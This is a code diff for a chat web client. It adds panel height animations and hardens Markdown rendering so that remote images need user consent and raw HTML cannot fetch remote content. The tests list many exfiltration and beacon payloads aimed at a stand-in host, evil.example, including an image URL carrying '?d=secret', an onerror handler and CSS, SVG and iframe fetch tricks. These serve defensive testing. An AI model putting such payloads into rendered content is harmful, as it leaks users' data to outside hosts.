diff --git a/src/features/layout/ui/panel-motion.ts b/src/features/layout/ui/panel-motion.ts
new file mode 100644
index 0000000..7fc5edf
--- /dev/null
+++ b/src/features/layout/ui/panel-motion.ts
@@ -0,0 +1,83 @@
+import { gsap } from "gsap";
+import type { TransitionConfig } from "svelte/transition";
+
+/**
+ * GSAP height animations for sidebar panels — the DOM EFFECT half (stable
+ * panel identity lives in `../logic/panel-keys.ts`).
+ *
+ * Every animation changes ONLY the panel wrapper's height (clipped with
+ * `overflow: hidden`); the panel's contents keep their natural size the whole
+ * time — the wrapper reveals / hides them like a drawer, it never scales
+ * them. The wrapper's bottom padding is the gap between panels, so it grows /
+ * shrinks with the panel and the panels below slide smoothly.
+ *
+ * - `panelGrowIn` — Svelte `in:` transition: an added panel grows 0 → auto.
+ * - `panelShrinkOut` — Svelte `out:` transition: a closed panel shrinks to 0
+ * while staying in flow (Svelte keeps the node for the returned duration).
+ * - `morphPanelHeight` — a swapped view: the panel BOX (the well, so its
+ * edges move with it — no empty gap below a shrinking box) animates from
+ * the old view's height to the new one's.
+ *
+ * Svelte's `in:` does not run on first mount, so loading the page never
+ * animates. Disabled when the user prefers reduced motion (or the
+ * environment can't tell, e.g. jsdom) — then every change is instant.
+ */
+
+const DURATION = 0.35;
+const EASE = "power2.inOut";
+
+export function panelMotionAllowed(): boolean {
+ return (
+ typeof window !== "undefined" &&
+ typeof window.matchMedia === "function" &&
+ !window.matchMedia("(prefers-reduced-motion: reduce)").matches
+ );
+}
+
+export function panelGrowIn(node: HTMLElement): TransitionConfig {
+ if (!panelMotionAllowed()) return { duration: 0 };
+ gsap.killTweensOf(node);
+ gsap.fromTo(
+ node,
+ { height: 0, overflow: "hidden" },
+ {
+ height: "auto",
+ duration: DURATION,
+ ease: EASE,
+ clearProps: "height,overflow",
+ },
+ );
+ return { duration: DURATION * 1000 };
+}
+
+export function panelShrinkOut(node: HTMLElement): TransitionConfig {
+ if (!panelMotionAllowed()) return { duration: 0 };
+ // e.g. closed mid-grow / mid-swap: shrink from wherever it is.
+ gsap.killTweensOf([node, ...node.querySelectorAll(":scope > *")]);
+ gsap.to(node, {
+ height: 0,
+ overflow: "hidden",
+ duration: DURATION,
+ ease: EASE,
+ });
+ return { duration: DURATION * 1000 };
+}
+
+/**
+ * Animate `node` from `fromHeight` (its height before the view swapped) to
+ * its new natural height. Call AFTER the DOM shows the new view.
+ */
+export function morphPanelHeight(node: HTMLElement, fromHeight: number): void {
+ if (!panelMotionAllowed()) return;
+ gsap.killTweensOf(node);
+ gsap.fromTo(
+ node,
+ { height: fromHeight, overflow: "hidden" },
+ {
+ height: "auto",
+ duration: DURATION,
+ ease: EASE,
+ clearProps: "height,overflow",
+ },
+ );
+}
diff --git a/src/features/markdown/logic/markdown.test.ts b/src/features/markdown/logic/markdown.test.ts
index 90f1938..f186da9 100644
--- a/src/features/markdown/logic/markdown.test.ts
+++ b/src/features/markdown/logic/markdown.test.ts
@@ -1,5 +1,12 @@
import { describe, expect, it } from "vitest";
-import { renderMarkdown } from "./markdown";
+import { renderMarkdown, renderMarkdownTail } from "./markdown";
+import { advance, createStreamingMarkdown } from "./streaming-markdown";
+
+/** The single rendered `<img>` src, or null. */
+function imageSrc(html: string): string | null {
+ const doc = new DOMParser().parseFromString(html, "text/html");
+ return doc.querySelector("img")?.getAttribute("src") ?? null;
+}
describe("renderMarkdown", () => {
it("renders GFM markdown (headings, emphasis)", () => {
@@ -95,4 +102,271 @@ describe("renderMarkdown", () => {
it("returns an empty string for empty input", () => {
expect(renderMarkdown("")).toBe("");
});
+
+ describe("remote images require consent", () => {
+ const image = { apiBase: "http://localhost:24203", cwd: "/work" };
+
+ it.each([
+ "![secret](https://evil.example/pixel?d=secret)",
+ "![secret](http://evil.example/pixel)",
+ "![secret](//evil.example/pixel)",
+ '<img src="https://evil.example/pixel" onerror="alert(1)">',
+ '<img src="//evil.example/pixel">',
+ '<img src="https:&#10;//evil.example/pixel">',
+ '<img src="/\\evil.example/pixel">',
+ ])("replaces %s with an inert, host-labelled button", (text) => {
+ const doc = new DOMParser().parseFromString(renderMarkdown(text, { image }), "text/html");
+ expect(doc.querySelector("img")).toBeNull();
+ const button = doc.querySelector("button.remote-image");
+ expect(button?.textContent).toBe("Load image from evil.example");
+ expect(button?.getAttribute("type")).toBe("button");
+ expect(button?.getAttribute("data-src")).toMatch(/^https?:\/\/evil\.example\//);
+ expect(button?.hasAttribute("onerror")).toBe(false);
+ });
+
+ it.each([
+ "/local-image?path=%2Ftmp%2Fa.png",
+ "data:image/png;base64,iVBORw0KGgo=",
+ `${window.location.origin}/image.png`,
+ "http://localhost:24203/images/conversation/image.png",
+ ])("keeps trusted image %s", (src) => {
+ expect(imageSrc(renderMarkdown(`<img src="${src}">`, { image }))).toBe(src);
+ });
+
+ it("compares exact origins, not hostname prefixes or URL credentials", () => {
+ for (const src of [
+ "http://localhost:24203.evil.example/a.png",
+ "http://localhost:[email protected]/a.png",
+ "http://localhost:24206/a.png",
+ "https://localhost:24203/a.png",
+ ]) {
+ expect(imageSrc(renderMarkdown(`<img src="${src}">`, { image }))).toBeNull();
+ }
+ });
+
+ it("does not leak a backend allowlist between renders", () => {
+ const text = "![pic](http://localhost:24203/a.png)";
+ expect(imageSrc(renderMarkdown(text, { image }))).not.toBeNull();
+ expect(imageSrc(renderMarkdown(text))).toBeNull();
+ });
+
+ it("removes responsive image sources so srcset cannot bypass consent", () => {
+ const html = renderMarkdown(
+ '<picture><source srcset="https://evil.example/a.png"><img src="/safe.png" srcset="https://evil.example/b.png 2x"></picture>',
+ );
+ expect(html).not.toContain("srcset");
+ expect(html).not.toContain("evil.example");
+ });
+
+ it("blocks images in streaming tails and settled prefixes too", () => {
+ const state = createStreamingMarkdown();
+ const text = "![pic](https://evil.example/pixel)";
+ expect(imageSrc(renderMarkdownTail(text))).toBeNull();
+ expect(advance(state, text).tailHtml).toContain("remote-image");
+ const settled = advance(state, `${text}\n\nafter\n`);
+ expect(settled.prefixHtml).toContain("remote-image");
+ expect(imageSrc(settled.prefixHtml)).toBeNull();
+ });
+
+ it("does not affect other DOMPurify consumers", async () => {
+ const { default: purify } = await import("dompurify");
+ expect(imageSrc(purify.sanitize('<img src="https://evil.example/a.png">'))).not.toBeNull();
+ });
+ });
+
+ describe("raw HTML cannot load remote content outside image consent", () => {
+ const remote = "https://evil.example/beacon";
+ const vectors = [
+ ["video poster", `<video poster="${remote}"></video>`, "video"],
+ ["video src", `<video src="${remote}" autoplay></video>`, "video"],
+ ["audio src", `<audio src="${remote}" preload="auto"></audio>`, "audio"],
+ ["source src", `<video><source src="${remote}"></video>`, "source"],
+ ["source srcset", `<picture><source srcset="${remote} 2x"></picture>`, "source"],
+ ["track src", `<video><track src="${remote}" default></video>`, "track"],
+ ["image input", `<input type="image" src="${remote}">`, "input"],
+ ["input src without type", `<input src="${remote}">`, "input"],
+ ["inline background", `<div style="background-image:url(${remote})">text</div>`, "[style]"],
+ ["inline CSS escape", `<p style="background: u\\72l(${remote})">text</p>`, "[style]"],
+ [
+ "inline image-set",
+ `<span style="background:image-set('${remote}' 1x)">text</span>`,
+ "[style]",
+ ],
+ ["style import", `<style>@import '${remote}';</style>`, "style"],
+ ["SVG image href", `<svg><image href="${remote}" /></svg>`, "svg,image"],
+ ["SVG image xlink", `<svg><image xlink:href="${remote}" /></svg>`, "svg,image"],
+ ["SVG use href", `<svg><use href="${remote}#x" /></svg>`, "svg,use"],
+ ["SVG use xlink", `<svg><use xlink:href="${remote}#x" /></svg>`, "svg,use"],
+ ["SVG filter", `<svg><filter><feImage href="${remote}" /></filter></svg>`, "svg,feImage"],
+ ["MathML", `<math href="${remote}"><mi>x</mi></math>`, "math"],
+ [
+ "table background",
+ `<table background="${remote}"><tr><td>x</td></tr></table>`,
+ "[background]",
+ ],
+ [
+ "td background",
+ `<table><tr><td background="${remote}">x</td></tr></table>`,
+ "[background]",
+ ],
+ ["body background", `<body background="${remote}">x</body>`, "[background]"],
+ ["object data", `<object data="${remote}"></object>`, "object"],
+ ["embed src", `<embed src="${remote}">`, "embed"],
+ ["embed data", `<embed data="${remote}">`, "embed"],
+ ["form action", `<form action="${remote}"><button>go</button></form>`, "form,[action]"],
+ ["button formaction", `<button formaction="${remote}">go</button>`, "[formaction]"],
+ ["input formaction", `<input type="submit" formaction="${remote}">`, "input,[formaction]"],
+ ["stylesheet link", `<link rel="stylesheet" href="${remote}">`, "link"],
+ ["preload link", `<link rel="preload" as="image" href="${remote}">`, "link"],
+ ["prefetch link", `<link rel="prefetch" href="${remote}">`, "link"],
+ ["DNS prefetch", `<link rel="dns-prefetch" href="//evil.example">`, "link"],
+ ["meta refresh", `<meta http-equiv="refresh" content="0;url=${remote}">`, "meta"],
+ ["iframe src", `<iframe src="${remote}"></iframe>`, "iframe"],
+ [
+ "iframe srcdoc",
+ `<iframe srcdoc="&lt;img src='${remote}'&gt;"></iframe>`,
+ "iframe,[srcdoc]",
+ ],
+ ["base URL", `<base href="${remote}/"><img src="/safe.png">`, "base"],
+ ["script src", `<script src="${remote}"></script>`, "script"],
+ ["anchor ping", `<a href="/safe" ping="${remote}">link</a>`, "[ping]"],
+ ["legacy command", `<command icon="${remote}">`, "command"],
+ ["legacy applet", `<applet codebase="${remote}" archive="x.jar"></applet>`, "applet"],
+ ["non-image src", `<div src="${remote}" href="${remote}">text</div>`, "[src],[href]"],
+ ] as const;
+
+ // Inspect the returned DOM, not jsdom's lack of resource fetching. Both
+ // authoritative renders and streaming tails must remove each active sink.
+ describe.each([
+ ["full", renderMarkdown],
+ ["tail", renderMarkdownTail],
+ ] as const)("%s render", (_name, render) => {
+ it.each(vectors)("neutralizes %s", (_vector, text, forbidden) => {
+ const doc = new DOMParser().parseFromString(render(text), "text/html");
+ expect(doc.querySelector(forbidden)).toBeNull();
+ for (const element of doc.body.querySelectorAll("*")) {
+ for (const attr of element.attributes) {
+ if (attr.name === "href" && element.tagName === "A") continue;
+ expect(attr.value).not.toContain("evil.example");
+ }
+ }
+ });
+ });
+
+ it("also blocks all vectors in settled streaming prefixes", () => {
+ for (const [_name, text, forbidden] of vectors) {
+ const state = createStreamingMarkdown();
+ advance(state, `${text}\n\ntail`);
+ const result = advance(state, `${text}\n\ntail grows`);
+ const doc = new DOMParser().parseFromString(
+ result.prefixHtml + result.tailHtml,
+ "text/html",
+ );
+ expect(doc.querySelector(forbidden)).toBeNull();
+ }
+ });
+
+ it("retains passive Markdown structure, highlighting and disabled task checkboxes", () => {
+ const html = renderMarkdown(
+ "- [x] done\n- [ ] pending\n\n| A | B |\n| - | - |\n| x | y |\n\n```js\nconst x = 1;\n```",
+ );
+ const doc = new DOMParser().parseFromString(html, "text/html");
+ expect(doc.querySelectorAll('input[type="checkbox"][disabled]')).toHaveLength(2);
+ expect(doc.querySelector("input[checked]")).not.toBeNull();
+ expect(doc.querySelectorAll("td")).toHaveLength(2);
+ expect(doc.querySelector(".hljs-keyword")).not.toBeNull();
+ expect(doc.querySelector('button[data-copy][type="button"]')).not.toBeNull();
+ });
+
+ it("makes raw checkboxes and buttons inert, even inside an outer form", () => {
+ const doc = new DOMParser().parseFromString(
+ renderMarkdown('<input type="checkbox"><button type="submit">go</button>'),
+ "text/html",
+ );
+ expect(doc.querySelector("input")?.hasAttribute("disabled")).toBe(true);
+ expect(doc.querySelector("button")?.getAttribute("type")).toBe("button");
+ });
+
+ it("does not permit non-HTTP network schemes on images", () => {
+ expect(imageSrc(renderMarkdown('<img src="ftp://evil.example/beacon">'))).toBeNull();
+ });
+ });
+
+ describe("local-path images", () => {
+ const BASE = "http://localhost:24203";
+ const image = { apiBase: BASE, cwd: "/w/foo" };
+
+ it("rewrites a file:// URL to the backend image route", () => {
+ expect(imageSrc(renderMarkdown("![pic](file:///home/u/pic.png)", { image }))).toBe(
+ `${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`,
+ );
+ });
+
+ it("rewrites an absolute path; an empty apiBase yields a root-relative src", () => {
+ expect(imageSrc(renderMarkdown("![pic](/home/u/pic.png)", { image: { apiBase: "" } }))).toBe(
+ "/local-image?path=%2Fhome%2Fu%2Fpic.png",
+ );
+ expect(imageSrc(renderMarkdown("![pic](/home/u/pic.png)", { image }))).toBe(
+ `${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`,
+ );
+ });
+
+ it("resolves a relative path against the conversation cwd", () => {
+ expect(imageSrc(renderMarkdown("![shot](shot.png)", { image }))).toBe(
+ `${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`,
+ );
+ expect(
+ imageSrc(renderMarkdown("![shot](shot.png)", { image: { apiBase: BASE, cwd: "/w/foo/" } })),
+ ).toBe(`${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`);
+ });
+
+ it("leaves a relative path untouched when no cwd is available", () => {
+ expect(imageSrc(renderMarkdown("![shot](shot.png)", { image: { apiBase: BASE } }))).toBe(
+ "shot.png",
+ );
+ expect(imageSrc(renderMarkdown("![shot](shot.png)", { image }))).toBe(
+ `${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`,
+ );
+ expect(imageSrc(renderMarkdown("![shot](shot.png)"))).toBe("shot.png");
+ });
+
+ it("leaves data: images untouched", () => {
+ const data = "data:image/png;base64,iVBORw0KGgo=";
+ expect(imageSrc(renderMarkdown(`![inline](${data})`, { image }))).toBe(data);
+ });
+
+ it("does not rewrite image syntax inside fenced code", () => {
+ const html = renderMarkdown("```md\n![pic](/home/u/pic.png)\n```", { image });
+ expect(html).toContain("/home/u/pic.png");
+ expect(html).not.toContain("/local-image");
+ });
+
+ it("rewrites the streaming tail, the settled prefix, and a seeded tail", () => {
+ const state = createStreamingMarkdown();
+ const tail = advance(state, "![pic](/home/u/pic.png)", { image });
+ expect(imageSrc(tail.tailHtml)).toBe(`${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`);
+
+ // The settled prefix must render with the same options too.
+ const settled = advance(state, "![pic](/home/u/pic.png)\n\nnext\n", { image });
+ expect(imageSrc(settled.prefixHtml)).toBe(`${BASE}/local-image?path=%2Fhome%2Fu%2Fpic.png`);
+
+ const seeded = renderMarkdownTail(
+ "![shot](shot.png)",
+ { fences: 0, bold: 0, code: 0 },
+ {
+ image,
+ },
+ );
+ expect(imageSrc(seeded)).toBe(`${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`);
+ });
+
+ it("invalidates the streaming cache when the image options change (async cwd)", () => {
+ const state = createStreamingMarkdown();
+ const text = "![shot](shot.png)\n\nnext\n";
+ advance(state, text);
+ expect(imageSrc(state.prefixHtml)).toBe("shot.png"); // no cwd yet
+ const updated = advance(state, text, { image });
+ expect(imageSrc(updated.prefixHtml)).toBe(`${BASE}/local-image?path=%2Fw%2Ffoo%2Fshot.png`);
+ });
+ });
});
diff --git a/src/features/markdown/logic/markdown.ts b/src/features/markdown/logic/markdown.ts
index fd6caf9..ed287d2 100644
--- a/src/features/markdown/logic/markdown.ts
+++ b/src/features/markdown/logic/markdown.ts
@@ -36,6 +36,7 @@ import xml from "highlight.js/lib/languages/xml";
import yaml from "highlight.js/lib/languages/yaml";
import { Marked } from "marked";
import { markedHighlight } from "marked-highlight";
+import { resolveImageUrl } from "../../../core/chunks";
// Hot set: registered eagerly so common code blocks highlight on first paint.
const HOT_LANGUAGES: Record<string, LanguageFn> = {
@@ -184,33 +185,257 @@ function addCopyButtons(html: string): string {
.replace(/<\/pre>/g, "</pre></div>");
}
+// Positive policy: chat HTML is passive Markdown structure, not arbitrary web
+// content. New browser elements/attributes must not silently add fetch sinks.
+// In particular there is no CSS, SVG/MathML, media, form, embed or metadata.
+const MARKDOWN_TAGS = [
+ "a",
+ "abbr",
+ "b",
+ "blockquote",
+ "br",
+ "caption",
+ "code",
+ "col",
+ "colgroup",
+ "dd",
+ "del",
+ "details",
+ "div",
+ "dl",
+ "dt",
+ "em",
+ "h1",
+ "h2",
+ "h3",
+ "h4",
+ "h5",
+ "h6",
+ "hr",
+ "i",
+ "img",
+ "kbd",
+ "li",
+ "mark",
+ "ol",
+ "p",
+ "pre",
+ "q",
+ "rp",
+ "rt",
+ "ruby",
+ "s",
+ "samp",
+ "small",
+ "span",
+ "strong",
+ "sub",
+ "summary",
+ "sup",
+ "table",
+ "tbody",
+ "td",
+ "tfoot",
+ "th",
+ "thead",
+ "tr",
+ "u",
+ "ul",
+ "var",
+ "wbr",
+ "button",
+ "input",
+];
+const MARKDOWN_ATTRIBUTES = [
+ "alt",
+ "align",
+ "checked",
+ "class",
+ "colspan",
+ "disabled",
+ "height",
+ "href",
+ "open",
+ "reversed",
+ "rowspan",
+ "scope",
+ "src",
+ "start",
+ "title",
+ "type",
+ "width",
+];
+
/**
- * A DEDICATED DOMPurify instance (not the shared default export) so the
- * link hook below only applies to chat Markdown, never to any other sanitizer
- * user. Every link opens in a NEW TAB: after DOMPurify has allowlisted the
- * attributes, each `<a href>` gets `target="_blank"` + `rel="noopener
- * noreferrer"` (the opened page can't reach `window.opener` or see a referrer).
- * Applied in the hook, so it covers marked links, autolinks, AND raw-HTML
- * anchors alike — and the hook overwrites any author-supplied target/rel.
+ * A dedicated, render-local DOMPurify instance: hooks never affect another
+ * consumer or retain a conversation's backend allowlist. The document base is
+ * part of the sanitizer's existing DOM dependency; no location/state is cached.
*/
-const purify = DOMPurify();
-purify.addHook("afterSanitizeAttributes", (node) => {
- if (node.tagName === "A" && node.hasAttribute("href")) {
- node.setAttribute("target", "_blank");
- node.setAttribute("rel", "noopener noreferrer");
+function sanitize(html: string, image?: MarkdownImageOptions): string {
+ const purify = DOMPurify();
+ const base = document.baseURI;
+ const origin = new URL(base).origin;
+ const backendOrigin = image === undefined ? origin : new URL(image.apiBase || base, base).origin;
+ purify.addHook("uponSanitizeElement", (node) => {
+ // Keep GFM task lists, but no image/submit/other form controls. Removing
+ // only type/src would allow browser defaulting or later attribute changes.
+ if (
+ node.nodeName === "INPUT" &&
+ (node as Element).getAttribute("type")?.toLowerCase() !== "checkbox"
+ ) {
+ node.parentNode?.removeChild(node);
+ }
+ });
+ purify.addHook("afterSanitizeAttributes", (node) => {
+ // URL-bearing attributes are supported ONLY on these two HTML elements.
+ if (node.tagName !== "A") node.removeAttribute("href");
+ if (node.tagName !== "IMG") node.removeAttribute("src");
+ if (node.tagName === "INPUT") node.setAttribute("disabled", "");
+ if (node.tagName === "BUTTON") node.setAttribute("type", "button");
+ if (node.tagName === "A" && node.hasAttribute("href")) {
+ node.setAttribute("target", "_blank");
+ node.setAttribute("rel", "noopener noreferrer");
+ }
+ if (node.tagName !== "IMG") return;
+ const src = node.getAttribute("src");
+ if (src === null) return;
+ let url: URL;
+ try {
+ url = new URL(src, base);
+ } catch {
+ node.removeAttribute("src");
+ return;
+ }
+ if (url.protocol === "data:") return; // Image context cannot load subresources.
+ if (url.protocol !== "http:" && url.protocol !== "https:") {
+ node.removeAttribute("src");
+ return;
+ }
+ if (url.origin === origin || url.origin === backendOrigin) return;
+
+ // Only safe, inert attributes are carried over. In particular, never copy
+ // srcset or author event handlers to the image created after consent.
+ const button = node.ownerDocument.createElement("button");
+ button.setAttribute("type", "button");
+ button.setAttribute("class", "remote-image btn btn-sm");
+ button.setAttribute("data-src", url.href);
+ button.setAttribute("data-alt", node.getAttribute("alt") ?? "");
+ const title = node.getAttribute("title");
+ if (title !== null) button.setAttribute("data-title", title);
+ button.textContent = `Load image from ${url.host}`;
+ node.parentNode?.replaceChild(button, node);
+ });
+ return purify.sanitize(html, {
+ ALLOWED_TAGS: MARKDOWN_TAGS,
+ ALLOWED_ATTR: MARKDOWN_ATTRIBUTES,
+ // Keep consent/copy data and accessibility labels, never active URL sinks
+ // such as srcset, style, background, ping, action or namespaced href.
+ ALLOW_DATA_ATTR: true,
+ ALLOW_ARIA_ATTR: true,
+ });
+}
+
+/**
+ * Per-conversation context for rendering local-path images inline. `apiBase`
+ * is the backend HTTP base (may be `""` → a root-relative `/local-image?…`);
+ * `cwd` resolves RELATIVE Markdown image srcs against the conversation's
+ * working directory (the same machine the backend serves files from).
+ */
+export interface MarkdownImageOptions {
+ readonly apiBase: string;
+ readonly cwd?: string | null;
+}
+
+/** Render options shared by all three render paths. */
+export interface MarkdownRenderOptions {
+ /** Balance dangling delimiters while the message is still generating. */
+ readonly streaming?: boolean;
+ /** Rewrite local-path image srcs through the backend's `/local-image` route. */
+ readonly image?: MarkdownImageOptions;
+}
+
+/** Decode a URL-ish path, tolerating malformed `%` escapes. */
+function safeDecode(path: string): string {
+ try {
+ return decodeURIComponent(path);
+ } catch {
+ return path;
}
-});
+}
-function sanitize(html: string): string {
- return purify.sanitize(html);
+/**
+ * Rewrite one image `src` for the local-image feature. Pure: `input → output`.
+ *
+ * - `file:///path` → local absolute path (scheme stripped).
+ * - `/absolute/path` → local absolute path.
+ * - a relative path (no scheme, no leading `/`) → joined to the conversation
+ * `cwd` (no `cwd` → left untouched).
+ * - `http(s)://…`, `data:`, and any other scheme → left untouched.
+ *
+ * Local paths become `${apiBase}/local-image?path=<encoded>`, reusing
+ * `resolveImageUrl`'s join-without-double-slash semantics (an empty `apiBase`
+ * yields a root-relative path).
+ */
+function rewriteImageSrc(src: string, image: MarkdownImageOptions): string {
+ const trimmed = src.trim();
+ if (trimmed.length === 0) return src;
+ // Network-path URLs (including browser-normalized backslashes) are URLs,
+ // not local filesystem paths. The sanitizer applies the consent policy.
+ if (/^(?:data:|https?:\/\/)/i.test(trimmed) || /^[/\\]{2}/.test(trimmed)) return src;
+
+ let path: string;
+
+ if (/^file:\/\//i.test(trimmed)) {
+ // file:///abs/path (and file://localhost/abs/path) → /abs/path.
+ const match = /^file:\/\/([^/]*)(\/.*)?$/i.exec(trimmed);
+ if (match === null) return src;
+ const host = match[1] ?? "";
+ const filePath = match[2] ?? "/";
+ path = host === "" || host.toLowerCase() === "localhost" ? filePath : `/${host}${filePath}`;
+ path = safeDecode(path);
+ } else if (trimmed.startsWith("/")) {
+ path = safeDecode(trimmed);
+ } else if (trimmed.startsWith("~/")) {
+ // The backend expands a leading `~`; pass it through un-joined.
+ path = trimmed;
+ } else if (/^[a-zA-Z][a-zA-Z0-9+.-]*:/.test(trimmed)) {
+ // Some other scheme (mailto:, ftp:, …) — leave it alone.
+ return src;
+ } else {
+ const cwd = image.cwd ?? null;
+ if (cwd === null || cwd.length === 0) return src;
+ const base = cwd.replace(/\/+$/, "");
+ path = `${base}/${safeDecode(trimmed.replace(/^\.\//, ""))}`;
+ }
+
+ return resolveImageUrl(`/local-image?path=${encodeURIComponent(path)}`, image.apiBase);
+}
+
+/**
+ * Parse with marked, optionally rewriting image token `href`s just before
+ * rendering. Doing it on the token stream (not the Markdown source) means
+ * fenced/inline code is never touched, and reference-style images resolve
+ * through marked's normal link resolution. When `image` is absent the parse is
+ * byte-identical to today's.
+ */
+function parseMarkdown(src: string, image?: MarkdownImageOptions): string {
+ if (image === undefined) return md.parse(src) as string;
+
+ const renderer = new md.Renderer();
+ const imageRenderer = renderer.image;
+ renderer.image = (token) =>
+ imageRenderer.call(renderer, {
+ ...token,
+ href: rewriteImageSrc(token.href, image),
+ });
+ return md.parse(src, { renderer }) as string;
}
/** Render Markdown to sanitized HTML. Returns `""` if parsing ever throws. */
-export function renderMarkdown(text: string, opts?: { streaming?: boolean }): string {
+export function renderMarkdown(text: string, opts?: MarkdownRenderOptions): string {
const src = opts?.streaming === true ? closeOpenDelimiters(text) : text;
try {
- const raw = md.parse(src) as string;
- return sanitize(addCopyButtons(raw));
+ return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)), opts?.image);
} catch {
return "";
}
@@ -225,11 +450,14 @@ export function renderMarkdown(text: string, opts?: { streaming?: boolean }): st
* degenerate case (nothing settled yet) is exactly today's behavior.
* Returns `""` if parsing ever throws.
*/
-export function renderMarkdownTail(text: string, seed: DelimiterCounts = ZERO_COUNTS): string {
+export function renderMarkdownTail(
+ text: string,
+ seed: DelimiterCounts = ZERO_COUNTS,
+ opts?: MarkdownRenderOptions,
+): string {
const src = closeOpenDelimiters(text, seed);
try {
- const raw = md.parse(src) as string;
- return sanitize(addCopyButtons(raw));
+ return sanitize(addCopyButtons(parseMarkdown(src, opts?.image)), opts?.image);
} catch {
return "";
}
diff --git a/src/features/markdown/logic/streaming-markdown.test.ts b/src/features/markdown/logic/streaming-markdown.test.ts
index f810579..931803b 100644
--- a/src/features/markdown/logic/streaming-markdown.test.ts
+++ b/src/features/markdown/logic/streaming-markdown.test.ts
@@ -240,6 +240,8 @@ describe("streaming-markdown corpus equivalence", () => {
});
describe("streaming-markdown performance fixture (counts, not wall-clock)", () => {
+ // Thousands of real parser/sanitizer calls contend with the unrestricted suite.
+ // This asserts operation counts, not speed; keep all counts and allow CPU load.
it("hljs calls and prefix mutations stay proportional to BLOCKS, not length × deltas", () => {
const spy = vi.spyOn(hljs, "highlight");
const state = createStreamingMarkdown();
@@ -282,7 +284,7 @@ describe("streaming-markdown performance fixture (counts, not wall-clock)", () =
expect(normalizeHtml(final.prefixHtml + final.tailHtml)).toBe(
normalizeHtml(renderMarkdown(doc, { streaming: true })),
);
- });
+ }, 20_000);
});
describe("markdown tail-pipeline exports", () => {
diff --git a/src/features/markdown/logic/streaming-markdown.ts b/src/features/markdown/logic/streaming-markdown.ts
index e273c66..b530cd4 100644
--- a/src/features/markdown/logic/streaming-markdown.ts
+++ b/src/features/markdown/logic/streaming-markdown.ts
@@ -31,6 +31,8 @@
import {
countDelimiters,
type DelimiterCounts,
+ type MarkdownImageOptions,
+ type MarkdownRenderOptions,
renderMarkdown,
renderMarkdownTail,
renderOpenFence,
@@ -90,6 +92,13 @@ export interface StreamingMarkdownState {
blankRunStart: number | null;
/** INTERNAL — the best settle candidate found by the current scan pass. */
pendingSettle: number;
+ /**
+ * INTERNAL — identity of the image-render options (apiBase + cwd) the cache
+ * was rendered with. The options can arrive asynchronously (the cwd loads
+ * after mount), so a change invalidates the settled cache: image srcs in the
+ * prefix would otherwise keep the stale resolution.
+ */
+ imageKey: string;
}
/** Fresh state for one streaming message. */
@@ -109,9 +118,22 @@ export function createStreamingMarkdown(): StreamingMarkdownState {
linkRefSeen: false,
blankRunStart: null,
pendingSettle: -1,
+ imageKey: "",
};
}
+/** Identity of the image options, so an async cwd appearing invalidates the cache. */
+function imageKeyOf(image: MarkdownImageOptions | undefined): string {
+ return image === undefined ? "" : JSON.stringify([image.apiBase, image.cwd ?? null]);
+}
+
+/** Build per-render options without setting `image: undefined` (exactOptionalPropertyTypes). */
+function renderOptionsOf(
+ image: MarkdownImageOptions | undefined,
+): MarkdownRenderOptions | undefined {
+ return image === undefined ? undefined : { image };
+}
+
// ── Scanner helpers (CommonMark block starts, mirroring what marked does) ──
/** A fenced-code-block opening line: ≤3 spaces indent, ≥3 backticks/tildes + info string. */
@@ -382,9 +404,13 @@ function scan(s: StreamingMarkdownState): void {
}
/** Render the newly-settled span once and fold it into the prefix cache. */
-function commitSettle(s: StreamingMarkdownState, end: number): void {
+function commitSettle(
+ s: StreamingMarkdownState,
+ end: number,
+ image: MarkdownImageOptions | undefined,
+): void {
const chunk = s.source.slice(s.settledOffset, end);
- s.prefixHtml += renderMarkdown(chunk);
+ s.prefixHtml += renderMarkdown(chunk, renderOptionsOf(image));
s.seed = addCounts(s.seed, countDelimiters(chunk));
s.settledOffset = end;
}
@@ -395,13 +421,24 @@ function commitSettle(s: StreamingMarkdownState, end: number): void {
* string identity is what lets Svelte skip settled DOM). Resets itself when
* the text shrinks or is otherwise not an append-extension.
*/
-export function advance(state: StreamingMarkdownState, textSoFar: string): StreamingMarkdownResult {
- if (textSoFar === state.source && state.last !== null) return state.last;
- if (!textSoFar.startsWith(state.source)) {
+export function advance(
+ state: StreamingMarkdownState,
+ textSoFar: string,
+ opts?: MarkdownRenderOptions,
+): StreamingMarkdownResult {
+ const image = opts?.image;
+ const imageKey = imageKeyOf(image);
+ if (textSoFar === state.source && state.last !== null && state.imageKey === imageKey) {
+ return state.last;
+ }
+ // A changed render option (e.g. the cwd loading after mount) invalidates the
+ // settled cache — its image srcs were resolved with the old options.
+ if (state.imageKey !== imageKey || !textSoFar.startsWith(state.source)) {
resetTo(state, textSoFar);
} else {
state.source = textSoFar;
}
+ state.imageKey = imageKey;
// A PARTIAL trailing line that starts a `[…]:` definition already changes
// how the whole-text parse resolves shortrefs (marked parses the truncated
@@ -418,10 +455,10 @@ export function advance(state: StreamingMarkdownState, textSoFar: string): Strea
scan(state);
if (!state.linkRefSeen && state.pendingSettle > state.settledOffset) {
- commitSettle(state, state.pendingSettle);
+ commitSettle(state, state.pendingSettle, image);
}
- const result = renderTail(state);
+ const result = renderTail(state, image);
state.last = result;
return result;
}
@@ -434,7 +471,10 @@ export function advance(state: StreamingMarkdownState, textSoFar: string): Strea
* between the marker's arrival and the line's completion);
* 3. otherwise prose → today's pipeline, seeded with the settled parity.
*/
-function renderTail(s: StreamingMarkdownState): StreamingMarkdownResult {
+function renderTail(
+ s: StreamingMarkdownState,
+ image: MarkdownImageOptions | undefined,
+): StreamingMarkdownResult {
// 1. Open top-level fence: everything from its opening line is code content.
if (s.fence !== null && s.fence.start >= s.settledOffset) {
let code = s.source.slice(s.fence.contentStart);
@@ -467,7 +507,8 @@ function renderTail(s: StreamingMarkdownState): StreamingMarkdownResult {
const prose = s.source.slice(s.settledOffset, s.scanOffset);
return {
prefixHtml: s.prefixHtml,
- tailHtml: renderMarkdownTail(prose, s.seed) + renderOpenFence(info, ""),
+ tailHtml:
+ renderMarkdownTail(prose, s.seed, renderOptionsOf(image)) + renderOpenFence(info, ""),
};
}
}
@@ -475,6 +516,6 @@ function renderTail(s: StreamingMarkdownState): StreamingMarkdownResult {
